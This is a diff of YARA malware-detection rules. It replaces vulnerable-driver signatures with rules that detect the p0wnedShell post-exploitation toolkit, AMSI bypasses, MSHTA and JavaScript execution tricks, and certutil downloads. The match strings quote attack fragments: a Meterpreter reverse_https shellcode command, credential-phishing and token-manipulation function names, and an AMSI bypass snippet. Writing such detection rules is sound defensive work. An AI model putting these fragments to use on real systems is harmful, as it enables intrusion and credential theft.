+		$x4 = "CommandShell with Local Administrator privileges :)" fullword wide
+		$x5 = "Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost " fullword wide
+		$fp1 = "AVSignature" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of ($x*) and not 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_2732 : FILE
+rule SIGNATURE_BASE_P0Wnedlistenerconsole
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "ec2c7c9f-d4cd-5497-9de5-4948767ba125"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedListenerConsole.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "77d13c34-3e15-5bc1-a100-f04be38cfb44"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3388-L3408"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c"
-		logic_hash = "17723afb429fe90b2e49d61676c6564ce94547b55be45ea6a66cf8d2edcdc49b"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L120-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "068e590f6f4f99c27814f2bf96d51e1c8c6422afcf8b99bb9f1852216335da7b"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d2d84e65fad966a8556696fdaab5dc8110fc058c9e9caa7ea78aa00921ae3169"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$x1 = "Invoke_ReflectivePEInjection" fullword wide
+		$x5 = "p0wnedShell> " fullword wide
+		$x6 = "Resources.Get_PassHashes" fullword wide
+		$s7 = "Invoke_CredentialsPhish" fullword wide
+		$s8 = "Invoke_Shellcode" fullword wide
+		$s9 = "Resources.Invoke_TokenManipulation" fullword wide
+		$s10 = "Resources.Port_Scan" fullword wide
+		$s20 = "Invoke_PowerUp" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_EF6D : FILE
+rule SIGNATURE_BASE_P0Wnedbinaries
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "28e934c7-1705-5dd7-967f-ac259af3809e"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedBinaries.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0c62dd3a-195c-5890-b262-2eb00c58f8c1"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3411-L3431"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850"
-		logic_hash = "aff0eae9976189fe89534f7c3f1a35f093627f71d2c65aa446da85185f972bea"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L142-L161"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4df7fcf508a9257ea418bd1995158c3676037b310dc884d44658977fda81b13b"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fd7014625b58d00c6e54ad0e587c6dba5d50f8ca4b0f162d5af3357c2183c7a7"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9" ascii
+		$x2 = "wpoWAB+LCAAAAAAABADs/QeyK7uOBYhORUNIenL+E2vBA0ympH3erY4f8Tte3TpbUiY9YRbcGK91vVKtr+tV3v/B/yr/m1vD/+DvNOVb+V/f" ascii
+		$x3 = "mo0MAB+LCAAAAAAABADsXQl24zqu3YqXII6i9r+xJ4AACU4SZcuJnVenf/9OxbHEAcRwcQGu62NbHsrax/Iw+3/hP5b+VzuH/4WfVeDf8n98" ascii
+		$x4 = "LE4CAB+LCAAAAAAABADsfQmW2zqu6Fa8BM7D/jf2hRmkKNuVm/Tt9zunkipb4giCIGb2/prhFUt5hVe+/sNP4b+pVvwPn+OQp/LT9ge/+" ascii
+		$x5 = "XpMCAB+LCAAAAAAABADsfQeWIzmO6FV0hKAn73+xL3iAwVAqq2t35r/tl53VyhCDFoQ3Y7zW9Uq1vq5Xef/CT+X/59bwFz6nKU/lp+8P/" ascii
+		$x6 = "STwAAB+LCAAAAAAABADtWwmy6yoO3YqXgJjZ/8ZaRwNgx/HNfX/o7qqUkxgzCM0SmLR2jHBQzkc4En9xZbvHUuSLMnWv9ateK/70ilStR" ascii
+		$x7 = "namespace p0wnedShell" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Microfocus_Microfocusxtier_95D5 : FILE
+rule SIGNATURE_BASE_P0Wnedamsibypass
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
-		author = "Florian Roth"
-		id = "394be6fa-5c49-5af2-ac20-d0da0ffe7624"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedAmsiBypass.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "168af265-d3e9-59a2-b754-20d6c9a298b1"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3434-L3453"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
-		logic_hash = "070ce1aff2ca552a049602c694e77bd89caa4f6712d86671e21745d9d88f3bc3"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L163-L178"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f7613506058706fc74979fdd4f9e425e9d16527120e0f2f49bc21e3e43d3b16"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "345e8e6f38b2914f4533c4c16421d372d61564a4275537e674a2ac3360b19284"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$x1 = "Program.P0wnedPath()" fullword ascii
+		$x2 = "namespace p0wnedShell" fullword ascii
+		$x3 = "H4sIAAAAAAAEAO1YfXRUx3WflXalFazQgiVb5nMVryzxIbGrt/rcFRZIa1CQYEFCQnxotUhP2pX3Q337HpYotCKrPdbmoQQnkOY0+BQCNKRpe" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E3EF : FILE
+rule SIGNATURE_BASE_P0Wnedshell_Outputs
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "3778fe25-a5d5-5cb0-8f03-9ceed5d71aa9"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - from files p0wnedShell.cs, p0wnedShell.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c19fc14b-0c42-5dd1-bff2-ba75f4168d9c"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3456-L3476"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918"
-		logic_hash = "50c225f42f3b7ac785d01cc9ad5542ac2e12d26e707d0ed5b8c5415d981479bc"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L180-L196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85d5317a473d981fe6ee1362789f34653a838c63d823bb62028a25c9db27cf6e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100300031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "[+] For this attack to succeed, you need to have Admin privileges." fullword ascii
+		$s2 = "[+] This is not a valid hostname, please try again" fullword ascii
+		$s3 = "[+] First return the name of our current domain." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7F37 : FILE
+rule SIGNATURE_BASE_PS_AMSI_Bypass : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
-		author = "Florian Roth"
-		id = "f523949b-aff9-532a-9f13-983f4a47635d"
-		date = "2023-06-14"
+		description = "Detects PowerShell AMSI Bypass"
+		author = "Florian Roth (Nextron Systems)"
+		id = "31ab8932-4c74-5251-a044-3fcc0aa159f4"
+		date = "2017-07-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3479-L3499"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa"
-		logic_hash = "5e796e1ebc587faf2f8255e6229fe4f97f781fd66100398561703320d34728c1"
-		score = 40
+		reference = "https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L4-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87188c6cbb7d89c25faafb297a7c0e52321c661c84cdefd5604785c687190fcd"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }
+		$s1 = ".GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')." ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Paniosys_Paniolibrary_F596 : FILE
+rule SIGNATURE_BASE_JS_Suspicious_Obfuscation_Dropbox
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIO.sys"
-		author = "Florian Roth"
-		id = "098abff0-1471-5793-8366-89df85dc216c"
-		date = "2023-06-14"
+		description = "Detects PowerShell AMSI Bypass"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9b6b288d-3a15-5267-bbb1-885febf4df78"
+		date = "2017-07-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3502-L3522"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960"
-		logic_hash = "5694c7f1a74ffd5cdaa143bc563939589305450c3ee24c758fb7379b79f73764"
-		score = 40
+		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L19-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19d1dd25c4a5e18dca131709a64c3537278754ec9d67b0bb49bde9b1493d3dc7"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$x1 = "j\"+\"a\"+\"v\"+\"a\"+\"s\"+\"c\"+\"r\"+\"i\"+\"p\"+\"t\""
+		$x2 = "script:https://www.dropbox.com" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_1768 : FILE
+rule SIGNATURE_BASE_JS_Suspicious_MSHTA_Bypass
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "4d79b72a-0848-5fe4-89fe-b16ab03d18d3"
-		date = "2023-06-14"
+		description = "Detects MSHTA Bypass"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b2ddca78-c19a-5bb6-a1c9-4413e637ab1d"
+		date = "2017-07-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3525-L3545"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca"
-		logic_hash = "5fb10d691fda963001b9a3c07b22db5e63beef984f26bc7d31ad98a1524ce5ff"
-		score = 40
+		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L35-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "df68cac0da19c5705353f26fc3f2a99556b7230f9d4f52e7a2e35cb48997b699"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "mshtml,RunHTMLApplication" ascii
+		$s2 = "new ActiveXObject(\"WScript.Shell\").Run(" ascii
+		$s3 = "/c start mshta j" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_9A54 : FILE
+rule SIGNATURE_BASE_Javascript_Run_Suspicious
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "17496639-ec11-519b-8143-2d43568e09cd"
-		date = "2023-06-14"
+		description = "Detects a suspicious Javascript Run command"
+		author = "Florian Roth (Nextron Systems)"
+		id = "87f98ead-3052-5777-8877-574619173aaa"
+		date = "2017-08-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3548-L3568"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7"
-		logic_hash = "a520f2236b800f2dd2b8ac9963b8e9ba3ce782cca2c1b2835540899da65168b5"
-		score = 40
+		reference = "https://twitter.com/craiu/status/900314063560998912"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L52-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39d2292d3749c63780dc7ca7a2414ba02e2b0e1edec7ec6a16b42aba2c44c23a"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "w = new ActiveXObject(" ascii
+		$s2 = " w.Run(r);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Oti_Otipcibussys_Kernelmodedrivertoaccessphysicalmemoryandports_4E3E : FILE
+rule SIGNATURE_BASE_Certutil_Decode_OR_Download : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - otipcibus.sys"
-		author = "Florian Roth"
-		id = "71052609-e8a3-5611-ad92-8cf43a0fddf0"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3571-L3590"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80"
-		logic_hash = "ef5cb96dc4f6eaaf24fe9d0a65ccb5efe54cb672a9328b9dc2bbc36af82d96e2"
+		description = "Certutil Decode"
+		author = "Florian Roth (Nextron Systems)"
+		id = "63bdefd2-225a-56d5-b615-5e236c97f050"
+		date = "2017-08-29"
+		modified = "2023-10-19"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_scripts.yar#L70-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5640dcfedc028cc40b0376d328758b504eb1ff860da94648b435eadb760d9724"
 		score = 40
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200041006300630065007300730020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00540069 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
